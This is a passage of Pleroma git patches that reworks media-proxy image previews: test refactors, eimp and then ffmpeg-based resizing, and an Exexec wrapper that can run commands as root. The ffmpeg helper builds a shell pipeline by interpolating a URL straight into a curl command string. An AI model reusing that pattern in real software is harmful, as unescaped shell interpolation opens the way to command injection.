optional: false]}], "hexpm", "501133f3112079b92d9e22da8b88bf4f0e13d4d67ae9c15c42c30bd25ceb83b6"}, "esshd": {:hex, :esshd, "0.1.1", "d4dd4c46698093a40a56afecce8a46e246eb35463c457c246dacba2e056f31b5", [:mix], [], "hexpm", "d73e341e3009d390aa36387dc8862860bf9f874c94d9fd92ade2926376f49981"}, "eternal": {:hex, :eternal, "1.2.1", "d5b6b2499ba876c57be2581b5b999ee9bdf861c647401066d3eeed111d096bc4", [:mix], [], "hexpm", "b14f1dc204321429479c569cfbe8fb287541184ed040956c8862cb7a677b8406"}, "ex2ms": {:hex, :ex2ms, "1.5.0", "19e27f9212be9a96093fed8cdfbef0a2b56c21237196d26760f11dfcfae58e97", [:mix], [], "hexpm"}, @@ -75,6 +76,7 @@ "nodex": {:git, "https://git.pleroma.social/pleroma/nodex", "cb6730f943cfc6aad674c92161be23a8411f15d1", [ref: "cb6730f943cfc6aad674c92161be23a8411f15d1"]}, "oban": {:hex, :oban, "1.2.0", "7cca94d341be43d220571e28f69131c4afc21095b25257397f50973d3fc59b07", [:mix], [{:ecto_sql, "~> 3.1", [hex: :ecto_sql, repo: "hexpm", optional: false]}, {:jason, "~> 1.1", [hex: :jason, repo: "hexpm", optional: false]}, {:postgrex, "~> 0.14", [hex: :postgrex, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "ba5f8b3f7d76967b3e23cf8014f6a13e4ccb33431e4808f036709a7f822362ee"}, "open_api_spex": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/open_api_spex.git", "b862ebd78de0df95875cf46feb6e9607130dc2a8", [ref: "b862ebd78de0df95875cf46feb6e9607130dc2a8"]}, + "p1_utils": {:hex, :p1_utils, "1.0.18", "3fe224de5b2e190d730a3c5da9d6e8540c96484cf4b4692921d1e28f0c32b01c", [:rebar3], [], "hexpm", "1fc8773a71a15553b179c986b22fbeead19b28fe486c332d4929700ffeb71f88"}, "parse_trans": {:hex, :parse_trans, "3.3.0", "09765507a3c7590a784615cfd421d101aec25098d50b89d7aa1d66646bc571c1", [:rebar3], [], "hexpm", "17ef63abde837ad30680ea7f857dd9e7ced9476cdd7b0394432af4bfc241b960"}, "pbkdf2_elixir": {:hex, :pbkdf2_elixir, "0.12.4", "8dd29ed783f2e12195d7e0a4640effc0a7c37e6537da491f1db01839eee6d053", [:mix], [], "hexpm", "595d09db74cb093b1903381c9de423276a931a2480a46a1a5dc7f932a2a6375b"}, "phoenix": {:hex, :phoenix, "1.4.13", "67271ad69b51f3719354604f4a3f968f83aa61c19199343656c9caee057ff3b8", [:mix], [{:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:phoenix_pubsub, "~> 1.1", [hex: :phoenix_pubsub, repo: "hexpm", optional: false]}, {:plug, "~> 1.8.1 or ~> 1.9", [hex: :plug, repo: "hexpm", optional: false]}, {:plug_cowboy, "~> 1.0 or ~> 2.0", [hex: :plug_cowboy, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "ab765a0feddb81fc62e2116c827b5f068df85159c162bee760745276ad7ddc1b"}, diff --git a/test/web/media_proxy/media_proxy_test.exs b/test/web/media_proxy/media_proxy_test.exs index cad0acd30..ac5d8fd32 100644 --- a/test/web/media_proxy/media_proxy_test.exs +++ b/test/web/media_proxy/media_proxy_test.exs @@ -85,38 +85,62 @@ test "validates signature" do assert MediaProxy.decode_url(sig, base64) == {:error, :invalid_signature} end - test "`filename_matches/_` preserves the encoded or decoded path" do - assert MediaProxy.filename_matches( - %{"filename" => "/Hello world.jpg"}, - "/Hello world.jpg", - "http://pleroma.social/Hello world.jpg" + def test_verify_request_path_and_url(request_path, url, expected_result) do + assert MediaProxy.verify_request_path_and_url(request_path, url) == expected_result + + assert MediaProxy.verify_request_path_and_url( + %Plug.Conn{ + params: %{"filename" => Path.basename(request_path)}, + request_path: request_path + }, + url + ) == expected_result + end + + test "if first arg of `verify_request_path_and_url/2` is a Plug.Conn without \"filename\" " <> + "parameter, `verify_request_path_and_url/2` returns :ok " do + assert MediaProxy.verify_request_path_and_url( + %Plug.Conn{params: %{}, request_path: "/some/path"}, + "https://instance.com/file.jpg" ) == :ok - assert MediaProxy.filename_matches( - %{"filename" => "/Hello%20world.jpg"}, - "/Hello%20world.jpg", - "http://pleroma.social/Hello%20world.jpg" + assert MediaProxy.verify_request_path_and_url( + %Plug.Conn{params: %{}, request_path: "/path/to/file.jpg"}, + "https://instance.com/file.jpg" ) == :ok + end - assert MediaProxy.filename_matches( - %{"filename" => "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg"}, - "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", - "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg" - ) == :ok + test "`verify_request_path_and_url/2` preserves the encoded or decoded path" do + test_verify_request_path_and_url( + "/Hello world.jpg", + "http://pleroma.social/Hello world.jpg", + :ok + ) + + test_verify_request_path_and_url( + "/Hello%20world.jpg", + "http://pleroma.social/Hello%20world.jpg", + :ok + ) + + test_verify_request_path_and_url( + "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", + "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", + :ok + ) - assert MediaProxy.filename_matches( - %{"filename" => "/my%2Flong%2Furl%2F2019%2F07%2FS.jp"}, - "/my%2Flong%2Furl%2F2019%2F07%2FS.jp", - "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg" - ) == {:wrong_filename, "my%2Flong%2Furl%2F2019%2F07%2FS.jpg"} + test_verify_request_path_and_url( + "/my%2Flong%2Furl%2F2019%2F07%2FS", + "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", + {:wrong_filename, "my%2Flong%2Furl%2F2019%2F07%2FS.jpg"} + ) end test "encoded url are tried to match for proxy as `conn.request_path` encodes the url" do # conn.request_path will return encoded url request_path = "/ANALYSE-DAI-_-LE-STABLECOIN-100-D%C3%89CENTRALIS%C3%89-BQ.jpg" - assert MediaProxy.filename_matches( - true, + assert MediaProxy.verify_request_path_and_url( request_path, "https://mydomain.com/uploads/2019/07/ANALYSE-DAI-_-LE-STABLECOIN-100-DÉCENTRALISÉ-BQ.jpg" ) == :ok -- cgit v1.2.3 From f1f588fd5271c0b3bf09df002a83dbb57c42bae0 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Thu, 14 May 2020 20:18:31 +0300 Subject: [#2497] Added support for :eimp for image resizing. --- config/config.exs | 4 +- .../web/media_proxy/media_proxy_controller.ex | 64 ++++++++++++++++++---- mix.exs | 2 +- 3 files changed, 56 insertions(+), 14 deletions(-) diff --git a/config/config.exs b/config/config.exs index 0f92b1ef9..e9403c7c8 100644 --- a/config/config.exs +++ b/config/config.exs @@ -393,7 +393,9 @@ # Note: media preview proxy depends on media proxy to be enabled config :pleroma, :media_preview_proxy, enabled: false, - limit_dimensions: "400x200", + enable_eimp: true, + thumbnail_max_width: 400, + thumbnail_max_height: 200, proxy_opts: [ head_request_max_read_duration: 5_000, max_read_duration: 10_000 diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 157365e08..8d8d073e9 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -62,24 +62,64 @@ defp handle_preview(conn, url) do end end + defp thumbnail_max_dimensions(params) do + config = Config.get([:media_preview_proxy], []) + + thumbnail_max_width = + if w = params["thumbnail_max_width"] do + String.to_integer(w) + else + Keyword.fetch!(config, :thumbnail_max_width) + end + + thumbnail_max_height = + if h = params["thumbnail_max_height"] do + String.to_integer(h) + else + Keyword.fetch!(config, :thumbnail_max_height) + end + + {thumbnail_max_width, thumbnail_max_height} + end + + defp thumbnail_binary(url, body, params) do + {thumbnail_max_width, thumbnail_max_height} = thumbnail_max_dimensions(params) + + with true <- Config.get([:media_preview_proxy, :enable_eimp]), + {:ok, [type: image_type, width: source_width, height: source_height]} <- + :eimp.identify(body), + scale_factor <- + Enum.max([source_width / thumbnail_max_width, source_height / thumbnail_max_height]), + {:ok, thumbnail_binary} = + :eimp.convert(body, image_type, [ + {:scale, {round(source_width / scale_factor), round(source_height / scale_factor)}} + ]) do + {:ok, thumbnail_binary} + else + _ -> + mogrify_dimensions = "#{thumbnail_max_width}x#{thumbnail_max_height}" + + with {:ok, path} <- MogrifyHelper.store_as_temporary_file(url, body), + %Mogrify.Image{} <- + MogrifyHelper.in_place_resize_to_limit(path, mogrify_dimensions), + {:ok, thumbnail_binary} <- File.read(path), + _ <- File.rm(path) do + {:ok, thumbnail_binary} + else + _ -> :error + end + end + end + defp handle_preview("image/" <> _ = content_type, %{params: params} = conn, url) do - with {:ok, %{status: status, body: body}} when status in 200..299 <- + with {:ok, %{status: status, body: image_contents}} when status in 200..299 <- url |> MediaProxy.url() |> Tesla.get(opts: [adapter: [timeout: preview_timeout()]]), - {:ok, path} <- MogrifyHelper.store_as_temporary_file(url, body), - resize_dimensions <- - Map.get( - params, - "limit_dimensions", - Config.get([:media_preview_proxy, :limit_dimensions]) - ), - %Mogrify.Image{} <- MogrifyHelper.in_place_resize_to_limit(path, resize_dimensions), - {:ok, image_binary} <- File.read(path), - _ <- File.rm(path) do + {:ok, thumbnail_binary} <- thumbnail_binary(url, image_contents, params) do conn |> put_resp_header("content-type", content_type) - |> send_resp(200, image_binary) + |> send_resp(200, thumbnail_binary) else {_, %{status: _}} -> send_resp(conn, :failed_dependency, "Can't fetch the image.") diff --git a/mix.exs b/mix.exs index a9c4ad2e3..332febe48 100644 --- a/mix.exs +++ b/mix.exs @@ -139,7 +139,7 @@ defp deps do github: "ninenines/gun", ref: "e1a69b36b180a574c0ac314ced9613fdd52312cc", override: true}, {:jason, "~> 1.0"}, {:mogrify, "~> 0.6.1"}, - {:eimp, ">= 0.0.0"}, + {:eimp, "~> 1.0.14"}, {:ex_aws, "~> 2.1"}, {:ex_aws_s3, "~> 2.0"}, {:sweet_xml, "~> 0.6.6"}, -- cgit v1.2.3 From 1871a5ddb4a803ebe4fae6943a9b9c94f1f9c1a8 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Wed, 20 May 2020 20:26:43 +0300 Subject: [#2497] Image preview proxy: implemented ffmpeg-based resizing, removed eimp & mogrify-based resizing. --- config/config.exs | 1 - lib/pleroma/helpers/media_helper.ex | 62 ++++++++++++++++++++++ lib/pleroma/helpers/mogrify_helper.ex | 25 --------- .../web/media_proxy/media_proxy_controller.ex | 50 ++++------------- mix.exs | 2 +- mix.lock | 2 + 6 files changed, 74 insertions(+), 68 deletions(-) create mode 100644 lib/pleroma/helpers/media_helper.ex delete mode 100644 lib/pleroma/helpers/mogrify_helper.ex diff --git a/config/config.exs b/config/config.exs index e9403c7c8..7de93511d 100644 --- a/config/config.exs +++ b/config/config.exs @@ -393,7 +393,6 @@ # Note: media preview proxy depends on media proxy to be enabled config :pleroma, :media_preview_proxy, enabled: false, - enable_eimp: true, thumbnail_max_width: 400, thumbnail_max_height: 200, proxy_opts: [ diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex new file mode 100644 index 000000000..6d1f8ab22 --- /dev/null +++ b/lib/pleroma/helpers/media_helper.ex @@ -0,0 +1,62 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Helpers.MediaHelper do + @moduledoc """ + Handles common media-related operations. + """ + + @ffmpeg_opts [{:sync, true}, {:stdout, true}] + + def ffmpeg_resize_remote(uri, max_width, max_height) do + cmd = ~s""" + curl -L "#{uri}" | + ffmpeg -i pipe:0 -vf \ + "scale='min(#{max_width},iw)':min'(#{max_height},ih)':force_original_aspect_ratio=decrease" \ + -f image2 pipe:1 | \ + cat + """ + + with {:ok, [stdout: stdout_list]} <- Exexec.run(cmd, @ffmpeg_opts) do + {:ok, Enum.join(stdout_list)} + end + end + + @doc "Returns a temporary path for an URI" + def temporary_path_for(uri) do + name = Path.basename(uri) + random = rand_uniform(999_999) + Path.join(System.tmp_dir(), "#{random}-#{name}") + end + + @doc "Stores binary content fetched from specified URL as a temporary file." + @spec store_as_temporary_file(String.t(), binary()) :: {:ok, String.t()} | {:error, atom()} + def store_as_temporary_file(url, body) do + path = temporary_path_for(url) + with :ok <- File.write(path, body), do: {:ok, path} + end + + @doc "Modifies image file at specified path by resizing to specified limit dimensions." + @spec mogrify_resize_to_limit(String.t(), String.t()) :: :ok | any() + def mogrify_resize_to_limit(path, resize_dimensions) do + with %Mogrify.Image{} <- + path + |> Mogrify.open() + |> Mogrify.resize_to_limit(resize_dimensions) + |> Mogrify.save(in_place: true) do + :ok + end + end + + defp rand_uniform(high) do + Code.ensure_loaded(:rand) + + if function_exported?(:rand, :uniform, 1) do + :rand.uniform(high) + else + # Erlang/OTP < 19 + apply(:crypto, :rand_uniform, [1, high]) + end + end +end diff --git a/lib/pleroma/helpers/mogrify_helper.ex b/lib/pleroma/helpers/mogrify_helper.ex deleted file mode 100644 index 67edb35c3..000000000 --- a/lib/pleroma/helpers/mogrify_helper.ex +++ /dev/null @@ -1,25 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Helpers.MogrifyHelper do - @moduledoc """ - Handles common Mogrify operations. - """ - - @spec store_as_temporary_file(String.t(), binary()) :: {:ok, String.t()} | {:error, atom()} - @doc "Stores binary content fetched from specified URL as a temporary file." - def store_as_temporary_file(url, body) do - path = Mogrify.temporary_path_for(%{path: url}) - with :ok <- File.write(path, body), do: {:ok, path} - end - - @spec store_as_temporary_file(String.t(), String.t()) :: Mogrify.Image.t() | any() - @doc "Modifies file at specified path by resizing to specified limit dimensions." - def in_place_resize_to_limit(path, resize_dimensions) do - path - |> Mogrify.open() - |> Mogrify.resize_to_limit(resize_dimensions) - |> Mogrify.save(in_place: true) - end -end diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 8d8d073e9..fb4b80379 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -6,7 +6,7 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyController do use Pleroma.Web, :controller alias Pleroma.Config - alias Pleroma.Helpers.MogrifyHelper + alias Pleroma.Helpers.MediaHelper alias Pleroma.ReverseProxy alias Pleroma.Web.MediaProxy @@ -82,51 +82,19 @@ defp thumbnail_max_dimensions(params) do {thumbnail_max_width, thumbnail_max_height} end - defp thumbnail_binary(url, body, params) do - {thumbnail_max_width, thumbnail_max_height} = thumbnail_max_dimensions(params) - - with true <- Config.get([:media_preview_proxy, :enable_eimp]), - {:ok, [type: image_type, width: source_width, height: source_height]} <- - :eimp.identify(body), - scale_factor <- - Enum.max([source_width / thumbnail_max_width, source_height / thumbnail_max_height]), - {:ok, thumbnail_binary} = - :eimp.convert(body, image_type, [ - {:scale, {round(source_width / scale_factor), round(source_height / scale_factor)}} - ]) do - {:ok, thumbnail_binary} - else - _ -> - mogrify_dimensions = "#{thumbnail_max_width}x#{thumbnail_max_height}" - - with {:ok, path} <- MogrifyHelper.store_as_temporary_file(url, body), - %Mogrify.Image{} <- - MogrifyHelper.in_place_resize_to_limit(path, mogrify_dimensions), - {:ok, thumbnail_binary} <- File.read(path), - _ <- File.rm(path) do - {:ok, thumbnail_binary} - else - _ -> :error - end - end - end - defp handle_preview("image/" <> _ = content_type, %{params: params} = conn, url) do - with {:ok, %{status: status, body: image_contents}} when status in 200..299 <- - url - |> MediaProxy.url() - |> Tesla.get(opts: [adapter: [timeout: preview_timeout()]]), - {:ok, thumbnail_binary} <- thumbnail_binary(url, image_contents, params) do + with {thumbnail_max_width, thumbnail_max_height} <- thumbnail_max_dimensions(params), + media_proxy_url <- MediaProxy.url(url), + {:ok, thumbnail_binary} <- + MediaHelper.ffmpeg_resize_remote( + media_proxy_url, + thumbnail_max_width, + thumbnail_max_height + ) do conn |> put_resp_header("content-type", content_type) |> send_resp(200, thumbnail_binary) else - {_, %{status: _}} -> - send_resp(conn, :failed_dependency, "Can't fetch the image.") - - {:error, :recv_response_timeout} -> - send_resp(conn, :failed_dependency, "Downstream timeout.") - _ -> send_resp(conn, :failed_dependency, "Can't handle image preview.") end diff --git a/mix.exs b/mix.exs index 9ace55eff..68de270f0 100644 --- a/mix.exs +++ b/mix.exs @@ -146,7 +146,6 @@ defp deps do github: "ninenines/gun", ref: "e1a69b36b180a574c0ac314ced9613fdd52312cc", override: true}, {:jason, "~> 1.0"}, {:mogrify, "~> 0.6.1"}, - {:eimp, "~> 1.0.14"}, {:ex_aws, "~> 2.1"}, {:ex_aws_s3, "~> 2.0"}, {:sweet_xml, "~> 0.6.6"}, @@ -198,6 +197,7 @@ defp deps do ref: "e0f16822d578866e186a0974d65ad58cddc1e2ab"}, {:mox, "~> 0.5", only: :test}, {:restarter, path: "./restarter"}, + {:exexec, "~> 0.2"}, {:open_api_spex, git: "https://git.pleroma.social/pleroma/elixir-libraries/open_api_spex.git", ref: "f296ac0924ba3cf79c7a588c4c252889df4c2edd"} diff --git a/mix.lock b/mix.lock index ebd0cbdf5..964b72127 100644 --- a/mix.lock +++ b/mix.lock @@ -32,6 +32,7 @@ "ecto_sql": {:hex, :ecto_sql, "3.3.4", "aa18af12eb875fbcda2f75e608b3bd534ebf020fc4f6448e4672fcdcbb081244", [:mix], [{:db_connection, "~> 2.2", [hex: :db_connection, repo: "hexpm", optional: false]}, {:ecto, "~> 3.4 or ~> 3.3.3", [hex: :ecto, repo: "hexpm", optional: false]}, {:myxql, "~> 0.3.0", [hex: :myxql, repo: "hexpm", optional: true]}, {:postgrex, "~> 0.15.0", [hex: :postgrex, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "5eccbdbf92e3c6f213007a82d5dbba4cd9bb659d1a21331f89f408e4c0efd7a8"}, "eimp": {:hex, :eimp, "1.0.14", "fc297f0c7e2700457a95a60c7010a5f1dcb768a083b6d53f49cd94ab95a28f22", [:rebar3], [{:p1_utils, "1.0.18", [hex: :p1_utils, repo: "hexpm", optional: false]}], "hexpm", "501133f3112079b92d9e22da8b88bf4f0e13d4d67ae9c15c42c30bd25ceb83b6"}, "elixir_make": {:hex, :elixir_make, "0.6.0", "38349f3e29aff4864352084fc736fa7fa0f2995a819a737554f7ebd28b85aaab", [:mix], [], "hexpm", "d522695b93b7f0b4c0fcb2dfe73a6b905b1c301226a5a55cb42e5b14d509e050"}, + "erlexec": {:hex, :erlexec, "1.10.9", "3cbb3476f942bfb8b68b85721c21c1835061cf6dd35f5285c2362e85b100ddc7", [:rebar3], [], "hexpm", "271e5b5f2d91cdb9887efe74d89026c199bfc69f074cade0d08dab60993fa14e"}, "esshd": {:hex, :esshd, "0.1.1", "d4dd4c46698093a40a56afecce8a46e246eb35463c457c246dacba2e056f31b5", [:mix], [], "hexpm", "d73e341e3009d390aa36387dc8862860bf9f874c94d9fd92ade2926376f49981"}, "eternal": {:hex, :eternal, "1.2.1", "d5b6b2499ba876c57be2581b5b999ee9bdf861c647401066d3eeed111d096bc4", [:mix], [], "hexpm", "b14f1dc204321429479c569cfbe8fb287541184ed040956c8862cb7a677b8406"}, "ex2ms": {:hex, :ex2ms, "1.5.0", "19e27f9212be9a96093fed8cdfbef0a2b56c21237196d26760f11dfcfae58e97", [:mix], [], "hexpm"}, @@ -42,6 +43,7 @@ "ex_machina": {:hex, :ex_machina, "2.3.0", "92a5ad0a8b10ea6314b876a99c8c9e3f25f4dde71a2a835845b136b9adaf199a", [:mix], [{:ecto, "~> 2.2 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: true]}, {:ecto_sql, "~> 3.0", [hex: :ecto_sql, repo: "hexpm", optional: true]}], "hexpm", "b84f6af156264530b312a8ab98ac6088f6b77ae5fe2058305c81434aa01fbaf9"}, "ex_syslogger": {:hex, :ex_syslogger, "1.5.2", "72b6aa2d47a236e999171f2e1ec18698740f40af0bd02c8c650bf5f1fd1bac79", [:mix], [{:poison, ">= 1.5.0", [hex: :poison, repo: "hexpm", optional: true]}, {:syslog, "~> 1.1.0", [hex: :syslog, repo: "hexpm", optional: false]}], "hexpm", "ab9fab4136dbc62651ec6f16fa4842f10cf02ab4433fa3d0976c01be99398399"}, "excoveralls": {:hex, :excoveralls, "0.12.2", "a513defac45c59e310ac42fcf2b8ae96f1f85746410f30b1ff2b710a4b6cd44b", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm", "151c476331d49b45601ffc45f43cb3a8beb396b02a34e3777fea0ad34ae57d89"}, + "exexec": {:hex, :exexec, "0.2.0", "a6ffc48cba3ac9420891b847e4dc7120692fb8c08c9e82220ebddc0bb8d96103", [:mix], [{:erlexec, "~> 1.10", [hex: :erlexec, repo: "hexpm", optional: false]}], "hexpm", "312cd1c9befba9e078e57f3541e4f4257eabda6eb9c348154fe899d6ac633299"}, "fast_html": {:hex, :fast_html, "1.0.3", "2cc0d4b68496266a1530e0c852cafeaede0bd10cfdee26fda50dc696c203162f", [:make, :mix], [], "hexpm", "ab3d782b639d3c4655fbaec0f9d032c91f8cab8dd791ac7469c2381bc7c32f85"}, "fast_sanitize": {:hex, :fast_sanitize, "0.1.7", "2a7cd8734c88a2de6de55022104f8a3b87f1fdbe8bbf131d9049764b53d50d0d", [:mix], [{:fast_html, "~> 1.0", [hex: :fast_html, repo: "hexpm", optional: false]}, {:plug, "~> 1.8", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "f39fe8ea08fbac17487c30bf09b7d9f3e12472e51fb07a88ffeb8fd17da8ab67"}, "flake_id": {:hex, :flake_id, "0.1.0", "7716b086d2e405d09b647121a166498a0d93d1a623bead243e1f74216079ccb3", [:mix], [{:base62, "~> 1.2", [hex: :base62, repo: "hexpm", optional: false]}, {:ecto, ">= 2.0.0", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm", "31fc8090fde1acd267c07c36ea7365b8604055f897d3a53dd967658c691bd827"}, -- cgit v1.2.3 From 610343edb318654126d9539775ba4b9ff30c8831 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Thu, 21 May 2020 17:35:42 +0300 Subject: [#2497] Image preview proxy: image resize & background color fix with ffmpeg -filter_complex. --- lib/pleroma/helpers/media_helper.ex | 47 +++------------------- .../web/media_proxy/media_proxy_controller.ex | 7 ++-- 2 files changed, 9 insertions(+), 45 deletions(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index 6d1f8ab22..ee6b76c41 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -9,12 +9,14 @@ defmodule Pleroma.Helpers.MediaHelper do @ffmpeg_opts [{:sync, true}, {:stdout, true}] - def ffmpeg_resize_remote(uri, max_width, max_height) do + def ffmpeg_resize_remote(uri, %{max_width: max_width, max_height: max_height}) do cmd = ~s""" curl -L "#{uri}" | - ffmpeg -i pipe:0 -vf \ - "scale='min(#{max_width},iw)':min'(#{max_height},ih)':force_original_aspect_ratio=decrease" \ - -f image2 pipe:1 | \ + ffmpeg -i pipe:0 -f lavfi -i color=c=white \ + -filter_complex "[0:v] scale='min(#{max_width},iw)':'min(#{max_height},ih)': \ + force_original_aspect_ratio=decrease [scaled]; \ + [1][scaled] scale2ref [bg][img]; [bg] setsar=1 [bg]; [bg][img] overlay=shortest=1" \ + -f image2 -vcodec mjpeg -frames:v 1 pipe:1 | \ cat """ @@ -22,41 +24,4 @@ def ffmpeg_resize_remote(uri, max_width, max_height) do {:ok, Enum.join(stdout_list)} end end - - @doc "Returns a temporary path for an URI" - def temporary_path_for(uri) do - name = Path.basename(uri) - random = rand_uniform(999_999) - Path.join(System.tmp_dir(), "#{random}-#{name}") - end - - @doc "Stores binary content fetched from specified URL as a temporary file." - @spec store_as_temporary_file(String.t(), binary()) :: {:ok, String.t()} | {:error, atom()} - def store_as_temporary_file(url, body) do - path = temporary_path_for(url) - with :ok <- File.write(path, body), do: {:ok, path} - end - - @doc "Modifies image file at specified path by resizing to specified limit dimensions." - @spec mogrify_resize_to_limit(String.t(), String.t()) :: :ok | any() - def mogrify_resize_to_limit(path, resize_dimensions) do - with %Mogrify.Image{} <- - path - |> Mogrify.open() - |> Mogrify.resize_to_limit(resize_dimensions) - |> Mogrify.save(in_place: true) do - :ok - end - end - - defp rand_uniform(high) do - Code.ensure_loaded(:rand) - - if function_exported?(:rand, :uniform, 1) do - :rand.uniform(high) - else - # Erlang/OTP < 19 - apply(:crypto, :rand_uniform, [1, high]) - end - end end diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index fb4b80379..12d4401fa 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -82,17 +82,16 @@ defp thumbnail_max_dimensions(params) do {thumbnail_max_width, thumbnail_max_height} end - defp handle_preview("image/" <> _ = content_type, %{params: params} = conn, url) do + defp handle_preview("image/" <> _ = _content_type, %{params: params} = conn, url) do with {thumbnail_max_width, thumbnail_max_height} <- thumbnail_max_dimensions(params), media_proxy_url <- MediaProxy.url(url), {:ok, thumbnail_binary} <- MediaHelper.ffmpeg_resize_remote( media_proxy_url, - thumbnail_max_width, - thumbnail_max_height + %{max_width: thumbnail_max_width, max_height: thumbnail_max_height} ) do conn - |> put_resp_header("content-type", content_type) + |> put_resp_header("content-type", "image/jpeg") |> send_resp(200, thumbnail_binary) else _ -> -- cgit v1.2.3 From 3a1e810aaaea3e44c4dfc82a014485cf886d6b88 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Thu, 21 May 2020 21:47:32 +0300 Subject: [#2497] Customized `exexec` launch to support root operation (currently required by Gitlab CI). --- .gitlab-ci.yml | 1 + config/config.exs | 4 ++++ lib/pleroma/exec.ex | 38 +++++++++++++++++++++++++++++++++++++ lib/pleroma/helpers/media_helper.ex | 4 +--- mix.exs | 3 ++- test/exec_test.exs | 13 +++++++++++++ 6 files changed, 59 insertions(+), 4 deletions(-) create mode 100644 lib/pleroma/exec.ex create mode 100644 test/exec_test.exs diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml index aad28a2d8..14300f3bf 100644 --- a/.gitlab-ci.yml +++ b/.gitlab-ci.yml @@ -6,6 +6,7 @@ variables: &global_variables POSTGRES_PASSWORD: postgres DB_HOST: postgres MIX_ENV: test + USER: root cache: &global_cache_policy key: ${CI_COMMIT_REF_SLUG} diff --git a/config/config.exs b/config/config.exs index 838508c1b..d1440b7bf 100644 --- a/config/config.exs +++ b/config/config.exs @@ -681,6 +681,10 @@ config :pleroma, Pleroma.Web.ApiSpec.CastAndValidate, strict: false +config :pleroma, :exexec, + root_mode: false, + options: %{} + # Import environment specific config. This must remain at the bottom # of this file so it overrides the configuration defined above. import_config "#{Mix.env()}.exs" diff --git a/lib/pleroma/exec.ex b/lib/pleroma/exec.ex new file mode 100644 index 000000000..1b088d322 --- /dev/null +++ b/lib/pleroma/exec.ex @@ -0,0 +1,38 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Exec do + @moduledoc "Pleroma wrapper around Exexec commands." + + alias Pleroma.Config + + def ensure_started(options_overrides \\ %{}) do + options = + if Config.get([:exexec, :root_mode]) || System.get_env("USER") == "root" do + # Note: running as `root` is discouraged (yet Gitlab CI does that by default) + %{root: true, user: "root", limit_users: ["root"]} + else + %{} + end + + options = + options + |> Map.merge(Config.get([:exexec, :options], %{})) + |> Map.merge(options_overrides) + + with {:error, {:already_started, pid}} <- Exexec.start(options) do + {:ok, pid} + end + end + + def run(cmd, options \\ %{}) do + ensure_started() + Exexec.run(cmd, options) + end + + def cmd(cmd, options \\ %{}) do + options = Map.merge(%{sync: true, stdout: true}, options) + run(cmd, options) + end +end diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index ee6b76c41..ecd234558 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -7,8 +7,6 @@ defmodule Pleroma.Helpers.MediaHelper do Handles common media-related operations. """ - @ffmpeg_opts [{:sync, true}, {:stdout, true}] - def ffmpeg_resize_remote(uri, %{max_width: max_width, max_height: max_height}) do cmd = ~s""" curl -L "#{uri}" | @@ -20,7 +18,7 @@ def ffmpeg_resize_remote(uri, %{max_width: max_width, max_height: max_height}) d cat """ - with {:ok, [stdout: stdout_list]} <- Exexec.run(cmd, @ffmpeg_opts) do + with {:ok, [stdout: stdout_list]} <- Pleroma.Exec.cmd(cmd) do {:ok, Enum.join(stdout_list)} end end diff --git a/mix.exs b/mix.exs index 4c9bbc0ab..3215086ca 100644 --- a/mix.exs +++ b/mix.exs @@ -197,7 +197,8 @@ defp deps do ref: "e0f16822d578866e186a0974d65ad58cddc1e2ab"}, {:mox, "~> 0.5", only: :test}, {:restarter, path: "./restarter"}, - {:exexec, "~> 0.2"}, + # Note: `runtime: true` for :exexec makes CI fail due to `root` user (see Pleroma.Exec) + {:exexec, "~> 